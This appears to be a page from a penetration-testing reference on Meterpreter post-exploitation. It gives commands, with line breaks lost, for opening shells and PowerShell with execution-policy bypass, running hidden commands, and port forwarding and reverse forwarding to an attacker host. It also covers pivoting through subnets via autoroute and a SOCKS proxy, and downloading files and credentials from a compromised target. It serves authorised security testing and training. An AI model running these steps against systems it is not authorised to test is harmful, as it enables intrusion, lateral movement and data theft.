Meterpreter Operations
Start an OS shell or PowerShell from a Meterpreter session, then use port forwarding to reach internal services.
Entering and leaving sessions
Section titled “Entering and leaving sessions”sessions -lsessions -i 1# Work at the Meterpreter promptbackgroundbackground or Ctrl-Z returns to msfconsole.
Opening a shell
Section titled “Opening a shell”Interactive shell
Section titled “Interactive shell”shellOn Windows, this opens cmd.exe; on Linux, it opens the target’s default shell. Run exit to return.
This is a semi-interactive shell connected through a channel. For work requiring terminal control, such as vim or tmux, and for limitations of shell -t / shell -it and obtaining a full TTY with socat / nc, see Fully Interactive TTY.
To run one noninteractive command, use Meterpreter’s execute or a post module’s cmd_exec.
execute -f cmd.exe -a "/c whoami" -i -H-i connects input and output; -H hides the window.
PowerShell
Section titled “PowerShell”When the PowerShell extension is available in Windows Meterpreter, use:
load powershellpowershell_shellTo run a single line:
powershell_execute Get-Processpowershell_execute -s <session-id> Get-DateTo import a script or assembly:
powershell_import /path/to/script.ps1powershell_import /path/to/helper.dllIf the extension is missing or unavailable, launch PowerShell through the regular shell.
shellpowershell -nop -ep bypassportfwd
Section titled “portfwd”Meterpreter’s portfwd forwards a local port on the attacker machine through the session to a port on another host. Its implementation is lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb.
Normal port forwarding (attacker machine → internal host)
Section titled “Normal port forwarding (attacker machine → internal host)”Listen on 127.0.0.1:1090 on the attacker machine and connect from the Meterpreter target to 169.254.37.128:443.
portfwd add -l 1090 -p 443 -r 169.254.37.128portfwd listExample use from the attacker machine:
curl -k https://127.0.0.1:1090/Main arguments:
| Argument | Meaning |
|---|---|
-l | Port to listen on at the attacker machine |
-p | Destination port |
-r | Destination host, as seen from Meterpreter |
-L | Local host to listen on (normally localhost if omitted) |
-R | Reverse port forwarding |
-i | Index used when deleting a forwarding rule |
Reverse port forwarding
Section titled “Reverse port forwarding”-R reverses the direction: listen on the target and connect to a host and port on the attacker machine.
portfwd add -R -l 4444 -p 4444 -L 10.10.16.10Configure normal forwarding with -l/-r/-p. Use reverse forwarding when needed.
Removing forwarding rules
Section titled “Removing forwarding rules”portfwd listportfwd delete -i 1portfwd flushRoutes and SOCKS (related)
Section titled “Routes and SOCKS (related)”Use autoroute to send Metasploit module traffic for an entire subnet through a session. portfwd tunnels a specific port; route directs module traffic for a subnet.
run post/multi/manage/autoroute verbose=true session=3 subnet=172.16.1.0 netmask=255.255.255.0route printExample SOCKS proxy setup:
use auxiliary/server/socks_proxyrun -j verbose=true srvhost=127.0.0.1 srvport=1080jobs -lWhen finished, check for routes and jobs that are no longer needed.
route printjobs -lportfwd list# If neededjobs -Kroute flushportfwd flushCommon status commands
Section titled “Common status commands”sysinfogetuidgetpidpsipconfigpwdlsdownload C:\\Users\\user\\Desktop\\file.txt /tmp/upload /tmp/tool.exe C:\\Windows\\Temp\\tool.exeWhen you collect files or credentials, store them according to the loot and notes guidance in Basics and the Database.

